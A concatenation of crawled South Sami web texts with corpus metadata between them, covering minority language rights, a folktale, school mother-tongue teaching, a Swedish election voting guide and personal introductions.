unnebelåhkoeh nuepieh tsevtsemasse vedtedh dejtie gyhtjelasside mejgujmie guhtide duehtieh. Struktureereme soptsestalleme dej nasjonaale unnebelåhkoejgujmie edtja sjiehteleslaakan maehtedh dej vuajnoeh jïh daerpiesvoeth krööhkedh tjïelten moeneminie. Tjïelte edtja sjïere lissine maanaj jïh noeri nuepieh tsevtsemasse jïh ektieraeriestæmman freemmedh gyhtjelasside mejgujmie guhtide duehtieh jïh dej tsiehkiej mietie hammojde sjïehtedidh.\nOrrestaaren tjïelte barka ræhpas ektieraerine dahkoedaltesinie åajvahkommes maalle ektieraaran. Ræhpas ektieraerie dahkoedaltesinie vadta dejtie nasjonaale unnebelåhkojde laaken mietie mij faamosne reaktam tsevtsemasse vuekine maam laake buerkeste.\nMaanide jïh noeride ræhpas forumem MinUng gååvnese. MinUnge lea ræhpas ektieraerie fokusinie maanide jïh noeride dej tsiehkiej jïh nuepiej mietie laaken mietie mij faamosne.\nGïeleldh jïh kulturellen reaktah\nDatne gie nasjonaale unnebelåhkosne edtjh reaktam utnedh dov nasjonaale unnebelåhkoegïelem lïeredh, evtiedidh jïh nuhtjedh. Dïhte byjjes, staate, tjïelte jïh regijovne, edtja aaj dej jïjtje vierhtiejgujmie eadtjohke dej nasjonaale unnebelåhkoej nuepieh freemmedh dej kultuvrh utnedh jïh evtiedidh Sveerjesne.\nGaajhkh tjïelth jïh regijovnh edtjieh dejtie nasjonaale unnebelåhkojde bïevnedh dej reaktaj jïh byjjes dïedten bïjre laaken mietie dennie suerkesne.\nGaajhkh tjïelth edtjieh barkedh guktie barkijh gååvnesieh gïelemaahtojne gaajhkh nasjonaale unnebelåhkoegïeline jïh dïsse faalehtieh gie dam sæjhta hoksedimmiem jïh såjhtoem voeresesåjhtoen mieriej mietie, abpe jïh biehkide, dan nasjonaale unnebelåhkoegïeline gosse barkijh gååvnesieh dejnie gïelemaahtojne.\nGaajhki tjïelti dïedte ulmieh jïh njoelkedassh moenedh dej unnebelåhkoepolitihken barkose gaajhkide nasjonaale unnebelåhkojde jïh unnebelåhkoegïelide.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 helgfria vardagar (15 maj–15 september 07:30–16:15)\nE-påaste: email@example.com\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. (07:45–15:45)","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.ornskoldsvik.se\/aarjelsaemiengiele\/nasjonaale-unnebelahkoeh","date":"2022-01-18T15:58:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300934.87\/warc\/CC-MAIN-20220118152809-20220118182809-00573.warc.gz","language":"sma","language_score":0.9999787807,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.99997878074646}","num_words":338,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nyheter\n-\nSnåase \/\/Snåsa 29.okt - 31. okt Datne gaskem 12-22 jaepieh, jïh lastoem åtnah mubpieh almetjh gaavnedidh mah sijhtieh jïjtjemse haestedh…Les mer »\n-\nKonserte Saara Hermanssonine Konsert av Saara Hermansson Saara Hermansson er en sørsamisk musikkartist fra en liten by i Kultsjödalen…Les mer »\n-\nThorkel Jonassen ööhpehtæjja jïh båatsoeburrie akten geerve baelien – håalome såaknen hearreste Jon Gunnar Krogstad Thorkel Jonassen predikant og reineier…Les mer »\n-\nDoajvvo – dåajvoe lea teaterestuhtje musihkine teekstigujmie jïh laavlomigujmie dehtie noere artisteste Ronja-Katrin Larsen. Teeksth leah eksistensialismen bïjre, dah bæjjese…Les mer »","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/gielemnastedh.no\/","date":"2022-01-29T07:26:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300573.3\/warc\/CC-MAIN-20220129062503-20220129092503-00468.warc.gz","language":"sma","language_score":0.9687297344,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9687297344207764, \"sme_Latn_score\": 0.02926403097808361}","num_words":79,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":0.991,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Darjoeh juktie gåarede bieliem jarkoestidh\nDah jeenemes bielide daennie wikesne ( ij termlæstojde) tjoevere gåaredidh jarkoestidh.\nDïhte edtja aelhkie årrodh bieliem jarkoestidh\nDïedtelh \"jeatjahtehtedh\" dennie bielesne maam datne sïjhth jarkoestidh.\nTjaelemesijjesne mij jïjhte edtja aalkoevisnie tjaeledh. Daate lea væhta mij dutnjan vuesehte mennie gïelesne aktem bieliem lea jarkoestamme.\nDam languages væhtan nuelesne edtjh tjaeledh jïh minngemosth edtjh tjaeledh <\/translate>. Dennie bielesne vuesehte guktie edtja dam darjodh (Dïedtelh \"jeatjahtehtedh\" gosse edtja kodem vuejnedh.\nGosse bieliem vöörhkh,dle svaalhtesem jïjhte\nMark this page for translation\nDïedtelh dam svaalhtesem, jïh dennie orre bielesne mij jijhti dïedtelh \"mark this page for translation\" Gosse leah båaloem dïedtelamme dle bieliem vuajnah, maab edtja dennie wikesne jarkoestidh.\nDov bieliem lea daelie jarkoestamme, gosse bååstede vualkah dle svaalhtesem \"Translate this page\" jijhteme.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/satni.uit.no\/termwiki\/index.php?title=Daga_siiddu_jorgalahtti\/sma&oldid=103256&printable=yes","date":"2022-01-23T07:24:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304134.13\/warc\/CC-MAIN-20220123045449-20220123075449-00579.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":124,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Heejja! Mov nomme Håkon Mudenia jïh leam akte 23 jaepien båeries baernie Deatnuste Finnmaarhkesne! Gåetesne Deatnusne leam dej minngemes jaepiej lohkehtæjjine barkeme maana- jïh noereskuvlesne. Åvtelen eelkim lohkehtæjjine barkedh leam vaarjelimmesne orreme jïh jaepielohkemem eengelsken gïelesne lohkeme Romsesne.\nByjjenimmesne leam gelliej aatigujmie gïehtelamme, goh loesem gööleme, sarvem vuatjeme jïh treavkavuetjieminie gïehtelamme jïh juelkietjengkerem tjïektjeme. Abpe jieledem manne bieline orreme aktede jienebekultuvrelle siebriedahkeste, gusnie dïhte nöörjen jïh saemien leah loevtlaaketjh orreme. Daate aarkebiejjie gusnie gaajhkesh dovnesh loevtsæjresne almetjigujmie jeatjah kultuvrijste jïh jeatjah aarvoejgujmie årroeminie, lea naakede man bïjre gegkestem manne åadtjoem soptsestidh jïh bievnedh learoehkidie daan skuvlejaepien.\nMov veanhtadimmieh tsïeglejaapan leah gaskem jeatjah gellie orre almetjh gaavnedidh abpe veartenistie. Manne gegkestem manne åadtjoem vielie jïjtjene kultuvren bïjre lïeredh jïh maehtedh viehkiehtidh faatoes daajroem jïh vaanesovmh dan saemien bïjre heerredidh. Jïh manne tjarke aavodem abpe Nöörjem vuejnedh jïh dååjredh jïh dovne New York!\nNjieljie varke gyhtjelassh:\n1. Maam 10 jaepine darjoeh?\nLuhkine jaepine manne lohkehtæjjine barkem saemien jïh eengelske gïelesne! Jallh dagke saemien tjeahpojne jïh lidteratuvrine barkem, tuhtjem dïhte lea murreds jïh lea naakede mejnie lim sïjhteme barkedh.\n2. Maam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nDellie dagke tjievledem, men pryövem dam tjelmiehtidh? Manne jueriedisnie, men saaht guktie im maehtieh baajedh aktem almetjem håalomem eerjedh gaajhkide mubpide.\n3. Mah tv-raajroeh sïjhth hotellesne vuartasjidh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nDagke sïjhtem vuartasjidh \"The Handmaid's Tale\". Leam sïjhteme dam guhkiem vuartasjidh, jïh aajnehke fåantoe man åvteste im leah dam annje dorjeme lea manne im gærjam lohkeme, guktie dam daelie lohkem. Men im dan jïjnjem TV-raajroeh vuartesjh, guktie manne gujht buerebh sïjhtem gærjah lohkedh.\n4. Maam saemien åahpetjidie datne buaresjh?\nMænngan åadtjoejim Aili Vallem vuejnedh Márkomeannusne dellie dam eensilaakan buaresjem. Dïhte dan joekoen hijven musihkem dorje teekstigujmie mejstie gaasenjaltjam åadtjoem, magkeres ålma!","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/hakon-mudenia-3\/","date":"2022-05-21T02:49:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662534773.36\/warc\/CC-MAIN-20220521014358-20220521044358-00797.warc.gz","language":"sma","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000075101852417}","num_words":285,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste «Verden er så stor – urfortellinger» maam Tove Solum tjaaleme. Soptsese lea akte inuihte soptsese. Ööhpehtimmiedirektoraate lea tjaalegem jarkoestamme.\nVeartene dan stoerre\nGöökte gaalletjh ektesne årroejin. Akten biejjien dle dïhte akte geelle dan måbpan jeehti:\n– Veartene stoerre.\nNaemhtie dah sijjen gieriehtsidie veeltin jïh fïere-guhten haaran mïnnijin. Dej gåmmah tjearoejin gosse tjoerin juakadidh, men gåabpegh geellebem dåeriedin jïh altese gierehtse-bealesne hajkin.- Men man stoerre? dïhte mubpie gihtji.\nJaepiej jaepiej fealadin. Gåmmah maanah åadtjoejin jïh maanah byjjenin. Mænngan dle maanah aaj maanah åadtjoejin, jïh nimhtie vijriebasse, goske göökte almetjetjïerth sjïdteme mah jïengen rastah fealadin.\nDah voestes gaalletjh båeries jïh hielsies sjïdtin. Ålmah idtjin vielie buektehth gieriehtsidie vuejedh, nyjsenæjjah idtjin vielie buektehth gierehtse-bealesne hajkedh. Men læjhkan guhkiebasse fealadin.\nMinngemosth dle maam akt vööjnin mij svïhtji guhkene dubpene. Dah dan vööste vööjin jïh minngemosth dle gaavnesjin dennie sijjesne gustie ikth vualkeme.\n– Veartene stoerre, dïhte voestes ålma jeehti.\n– Stuerebe goh jeehkimh, dïhte mubpie vaestiedi.\nJïh dle sealadin.[1]\n- 1«Verden er så stor så stor- urfolkfortellinger». Solum, Tove. Solum Forlag. 2003.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:b23303f9-8560-47fc-bbfb-de3564308246\/topic:2:3b76b3b7-10e3-47de-8b45-41d46544e8db\/resource:1:128834","date":"2022-05-27T05:56:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662636717.74\/warc\/CC-MAIN-20220527050925-20220527080925-00534.warc.gz","language":"sma","language_score":0.9999136925,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999136924743652}","num_words":166,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma edtja viehkiehtidh guktie jåartaburriepolitihke tjïrrehtamme sjædta\nFylhkenålma edtja viehkiehtidh guktie nasjovnale jåartaburriepolitihke tjïrrehtamme sjædta viehkine bïevnesijstie, reeremistie tsavtshvierhtijste jïh voenges sjïehtedamme råajvarimmieh. Fylhkenålman laavenjassh jåartaburrien sisnjelen leah åajvahkommes ektiedamme reeremasse dåarjoe- jïh maaksoeöörnegijstie.\nFylhkenålma raerieh vadta jïh beavna tsavtshvierhtieåtnoen bïjre tjïeltide, laanteburrieraeriestæjjide, båantide jïh dejtie mah haakeneåtnoen sisnjelen berkieh. Fylhkenålma edtja skraejriem vaeltedh jïh tsevtsijinie årrodh aarvoesjugniedæmman jïh evtiedæmman daan suerkien sisnjelen.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.statsforvalteren.no\/sma\/Nordlaanten\/Laanteburrie-jih-beapmoe\/Jaartaburrie\/","date":"2022-05-22T19:32:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662546071.13\/warc\/CC-MAIN-20220522190453-20220522220453-00391.warc.gz","language":"sma","language_score":0.9999779463,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"sma_Latn_score\": 0.9999779462814331}","num_words":63,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.104,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Abpe maanabaeliem leam irhkemen bïjre mïeleme, men easkah goh 37 jaepien jïh tjaebpies baarnan aehtjine sjïdtim, assjaldahkh eelkin mannem tjarke sturredh. Aehtjine sjïdtedh buektieji båeries mojhtesh, jïh mænngan goh gieries tjædtjeme lij raaffan bïeseme gellie geerve jaepiej mænngan don beerkeles skïemtjelassen dïete, dle lij munnjan aaj aejkie jïjtjene tjoelmide aelkedh loetedh mejtie mïelim mov lin, men mejtie lim tjïekeme gaajhkijste jeatjabijstie.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/aarjel.utsattmann.no\/testimonial\/alma-37\/","date":"2022-05-20T18:15:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662533972.17\/warc\/CC-MAIN-20220520160139-20220520190139-00077.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":60,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ïetniegïele-ööhpehtimmie\nMaana jeatja ïetniegïeline svïenskegïeleste maahta ïetniegïele-ööhpehtimmiem åadtjodh maadthskuvlesne jïh maadthsjïereskuvlesne raajeste aarhskuvleklasseste.\nNaemhtie ïetniegïele-ööhpehtæmman ohtsedh\n- Bïeljelh dov aarhskuvlem.\n- Skuvle vuartesje jis dov maana reaktam åtna meatan årrodh.\n- Skuvle bæjkohte dov maanam disse gie ïetniegïele-ööhpehtimmiem öörnesåvva.\nUnnebelåhkoen gïelh\nJis dov maana naakenh dejstie naasjovne unnebelåhkose govlesåvva dellie reaktam åtna unnebelåhkoen gïelem lohkedh aamhtesinie ïetniegïele. Dov maana ij leah daarpesjh gïelem fïerhten biejjien nuhtjedh jallh maahtoem gïelen bïjre utnedh.\nGosse ïetniegïele-ööhpehtimmiem ohtsedh naakenh dejstie unnebelåhkoej gïeline dellie dov skuvle, seamma jis tjïelten jallh frïjje åejviem utnieh, dïedtem nïmhtemes ööhehtimmiem öörnesovvedh.\nDov skuvlen lohkeme- jïh barkoe-åejvie datnem viehkehte jis gyhtjelassh åtnah.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/grundskola.stockholm\/att-ga-i-grundskola\/modersmal-och-minoritetssprak\/sydsamiska\/","date":"2022-05-21T00:24:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662534693.28\/warc\/CC-MAIN-20220520223029-20220521013029-00717.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":99,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsesh, vuelieh, dikth jïh jeatjah teeksth soptsestieh guktie almetjh jealeme, ussjedamme jïh domteme tïjji mietie. Gosse mijjieh teeksth lohkebe dellie maehtebe aelkedh ussjedidh, maam akt lïeredh jallh måarahtovvedh. Lissine teeksth maehtieh mijjem faepieldidh jallh madtjeldehtedh.\nHeamture lea soptsese-såarhte. Heamture ij daarpesjh saatnan årrodh. Heamturisnie gellie fantasije-gaagkoeh jïh ibie daejrieh gåessie jallh gusnie heannadi. Ibie daejrieh gie heamturem voestes aejkien soptsesti jallh tjeeli. Heamturh njaelmeste njaalman jåhteme tïjjen mietie.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:b23303f9-8560-47fc-bbfb-de3564308246\/topic:2:6352b331-cac6-45ed-9486-e1566f54e97e\/","date":"2022-05-28T11:08:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663016373.86\/warc\/CC-MAIN-20220528093113-20220528123113-00257.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":68,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Tjaelije Utsi, Margrethe B. Dimpas, Anne Lene Bertije Sámi lohkanguovddáš ovttas|aktan|aktesne Unesco Sánag Vaadtasovvemejaepie 2020 Faage KRJL Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Sámi lohkanguovddáš ovttas|aktan|aktesne Unesco Sánag Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Kultuvre Filme Aarhte jïh daajroe Healsoe Religiovne Etihke Siebriedahke Skuvle jïh ööhpehtimmie Viehkiebaakoe Domtesh H5P","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_domtesh-filme","date":"2022-05-18T12:29:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522270.37\/warc\/CC-MAIN-20220518115411-20220518145411-00213.warc.gz","language":"sma","language_score":0.9922626615,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9922626614570618}","num_words":57,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Introduksjon\nAmanda Kernell spïele-fïlmem Saemien vïrre (2016) dorjeme, mij gellie åasah vitneme. Gosse datne learoe-baalkan mietie lïereme, edtjh:\n- daejredh gie Amanda Kernell\n- vuajneme Amanda Kernellen åenehks-filmem Stoerre Vaerie jïh biehkiem filmeste Saemien vïrre\n- dahkoem, teemam jïh karakteerh goerehtalleme\n- daejredh mij heartoehtæjja jïh anti-heartoehtæjja\n- ussjedamme guktie maehtebe kultuvrem ovmessielaakan nuhtjedh vuesiehtidh mah dåeriesmoerh siebriedahkesne gååvnesieh","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:177995","date":"2022-05-25T06:52:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662580803.75\/warc\/CC-MAIN-20220525054507-20220525084507-00792.warc.gz","language":"sma","language_score":0.9999771118,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999771118164062}","num_words":53,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïenestidh\nAejlegen skïereden 11. biejjien 2022 dellie veeljeme rïjhkebeajjan, tjïelte- jïh dajvefaamoehkasse.\nGie åådtje jïenestidh?\nJis luhpiem åadtjodh jïenestidh tjoereme 18 jaepieh minngemes veeljemebeajjan illedh. Bïevnesh almetjelåhkoeregisterisnie 30 biejjieh veeljemebiejjien åvtelen nænnoste mejtie dov lea veeljemereakta jïh mennie veeljemedajvesne edtjh jïenestidh.\nDov lea veeljemereakta rïjhkebeajjan jis datne:\n- svïenske staatenårroje jïh jallh Sveerjen almetjelåhkosne orreme.\nDov lea veeljemereakta tjïelte- jïh dajvefaamoehkasse jis datne:\n- svïenske staatenårroje jïh Sveerjen almetjelåhkosne.\n- staatenårroje naan Europeiske unijovnen lïhtsegelaantine jallh staatenårroje Islaantesne jallh Nöörjesne jïh Sveerjen almetjelåhkosne.\n- årroje naan jeatjebe laantesne jïh almetjelåhkosne Sveerjesne golme jaepieh veeljemebiejjien åvtelen orreme.\nDatne gïen veeljemereakta jïenestimmiekåarhtem åadtjoeh.\nDatne gïen veeljemereakta veeljemekåarhtem påastine åadtjoeh mahte golme våhkoeh veeljemen åvtelen. Veeljemekåarhtesne vuajnah mij veeljemidie maahtah jïenestidh, dov nommem, adresse jïh gåessie dov veeljemesijjie ræhpas. Jis ij leah dov naan veeljemekåarhte maahtah orre kåarhtem tjïelteste jallh Veeljemebyjjesfaamoste dongkedh.\nVeeljemesïetelh\nVeeljemesïetelh rïjhkebeajjan leah viskes, tjïeltefaamoehkasse leah veelkes jïh dajvefaamoehkasse plaaves. Veeljemesïetelh gaajhkine sijjine gååvnesieh gusnie maahtah jïenestidh.\nPartijese\/krærran jïenestidh\nEvtemes akten krærran jïenesth.\nKrirrien nomme veeljemesïetelisnie vuajnah. Jis ih dov krirrien veeljemesïetelem gaavnh maahtah krirrien nommem akten gåaroes veeljemesïetelasse tjaeledh.\nAlmetjasse jïenestidh\nJis naan sjïere kandidaatem krirreste sïjhth veeljedh, dellie kroessem bïejh rovhtese dan kandidaaten nommen åvtelen dennie nommeveeljemesïetelisnie. Maahtah kroessem bïejedh barre akten kandidaatese. Aaj maahtah almetjasse jïenestidh jïh krirrien nommem jïh kandidaaten nommem akten gåaroes veeljemesïetelasse tjaeledh.\nDaesnie maahtah jïenestidh\nDov veeljemesijjesne veeljemebiejjien skïereden 11. biejjien jïenestidh\nMaahtah barre jïenestidh dennie veeljemesijjesne mij dov veeljemekåarhtese tjaaleme. Veeljemesijjie barre veeljemebiejjesne ræhpas. Gosse veeljemesijjesne jïenesth dellie datnem jïenestimmielåhkosne mïerhkesje jïh dov jïenestimmieh veeljemegaaran bïejesåvva.\nÅvtelhbodti jïenestidh jïenestimmiesijjesne dov tjïeltesne jallh naan jeatjebe tjïeltesne.\nMaahtah åvtelhbodti jïenestidh saaht mennie jïenestimmiesijjesne abpe laantesne. Åvtelhbodti jïenestimmie mïetsken 24. biejjien aalka jïh veeljemebeajjan vaasa. Tjoerh dov veeljemekåarhtem meatan utnedh gosse åvtelhbodti jïenestidh. Bïevnesh gusnie åvtelhbodti jïenestidh dov tjïeltesne gaavnh jallh sijjesne val.se\nÅlkoerïjhkeste jïenestidh\nJis datne ålkoerïjhkesne maahtah prievine jïenestidh jallh åvtelhbodti jïenestidh gellie svïenske ambassaadine jïh konsulaatine. Jis prievine jïenesth tjoerh aktem sjïere tjaatsegem provhkedh maam dongkh Veeljemebyjjesfaamoste, tjïelteste, ambassaadijste jallh konsulaatijste. Jïenestimmiem åadtjoeh ålkoerïjhkeste aaremosth snaltjen 28. biejjien seedtedh. Maahtah ambassaadine jïh konsulaatine jïenestidh aaremosth mïetsken 18. biejjien.\nTjoerh vuesiehtidh datne dïhte\nJis luhpiem åadtjodh jïenestidh tjoerh id-tjaatsegem vuesiehtidh mah stinkestahtah datne dïhte. Jis ih leah dov naan id-tjaatsege akte jeatjah almetje maahta stinkestehtedh datne dïhte, men dellie dïhte almetje tjuara sov id-tjaatsegem vuesiehtidh.\nJis viehkiem daarpesjh gosse jïenestidh\nBåvrojne jïenestidh\nMaahtah båvrojne jïenestidh jis datne skïemtjes, heaptoe åtnah svïhtjedh jallh dan båeries juktie ih veeljemesijjiem jïjtje jaksh jallh naan sijjiem gusnie åvtelhbodti maahtah jïenestidh. Aaj maahtah båvrojne jïenestidh jis faangkegåetesne jallh jeatjebe kriminaalehoksesijjesne.\nJïenestimmiem aaremosth mïetsken 18. biejjien åådtje öörnedh jïh minngemes veeljemebiejjesne. Datne båvroem daarpesjh jïh aktem væhnam. Gåabpatjahkh edtjijægan 18 jaepien båeries årrodh jïh ij seamma almetje dovne båvrojne jïh væhnine åadtjoeh årrodh.\nDatne båvroem daarpesjh – gie maahta båvrojne årrodh?\nBåvroe tjuara unnemes 18 jaepien båeries årrodh. Daah almetjh åadtjoeh båvrojne årrodh:\n- dov fuelhkeste\n- dov såjhtere jallh guhte gie datnem pråvhka dov ieriejgujmie viehkiehtidh\n- barkijh faangkegåetine jallh kriminaalehoksesijjesne\n- påasteguedtije, jis sijjesne årroeh gusnie laantepåasteguedtije.\nJis båvrojne jïenestidh sjïere tjaatsegh daarpesjh mejtie tjïelteste jallh Veeljemebyjjesfaamoste dongkh. Jis båvrojne åvtelhbodti jïenesth dam dov veeljemekåarhtem daarpesjh.\nGåeteste jïenestidh\nJis datne skïemtjes, dan båeries jallh heaptoe åtnah svïhtjedh jïh ih maehtieh åvtelhbodti jïenestidh jallh veeljemesijjiem jaksh dellie maahtah gåeteste jïenestidh. Gosse naemhtie jïenestidh tjïelte datnem viehkehte guktie gööktesh dov gåajkoe båetiejægan jïh dov jïenestimmiem dåastoejægan. Govlehth dov tjïeltine vielie bïevnesistie.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska.html","date":"2022-05-23T21:43:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662561747.42\/warc\/CC-MAIN-20220523194013-20220523224013-00443.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":542,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"29\/11\/2019 Nils Egil Gaup Madtjeles ihke Rïjhkerevisjovne lea saemien lïerehtimmiem goerehtamme Daan biejjien rïjhkerevisjovne lea reektehtsem goerehtimmeste buakteme mij vuesehte saemien learohkh maadthskuvleaalteren sijjen reaktah saemien gïelelïerehtæmman jïh lïerehtæmman saemien gïelesne åadtjoeh, men jienebh viesjiesvoeth lïerehtimmiefaalenassesne. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/madtjeles-ihke-rijhkerevisjovne-lea-saemien-lierehtimmiem-goerehtamme\/","date":"2022-05-24T19:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662573189.78\/warc\/CC-MAIN-20220524173011-20220524203011-00095.warc.gz","language":"sma","language_score":0.9988613129,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9988613128662109}","num_words":67,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Maila Risten Bongo Dikkanen jïh leam 19 jaepien båeries. Manne byjjenamme Unjárgesne, gusnie aaj maadthskuvlem illim. Jåarhkeskuvlen mænngan Vadsøesne manne Guovdageaidnuse juhtim juktie jaepielohkemem saemiengïelesne lohkedh Saemien Jïlleskuvlesne. Mov maanabaelien leam aehtjiem barkoebiejjieh dåeriedamme mij lea göölije jïh sïrvebåanta. Mov aaj ektiedimmie Guovdageaidnuse jïh båatsose tjidtjien maadtoen tjïrrh, gusnie jaepien ellen bööremes tïjjh lea mïerhkesjimmie giesege jïh leekedimmie tjaktjege.\nNoereskuvlen raejeste leam gïelebarkijinie barkeme Isak Saba-jarngesne Unjárgesne. Dan mænngan manne damteme daerpies saemien maanah jïh 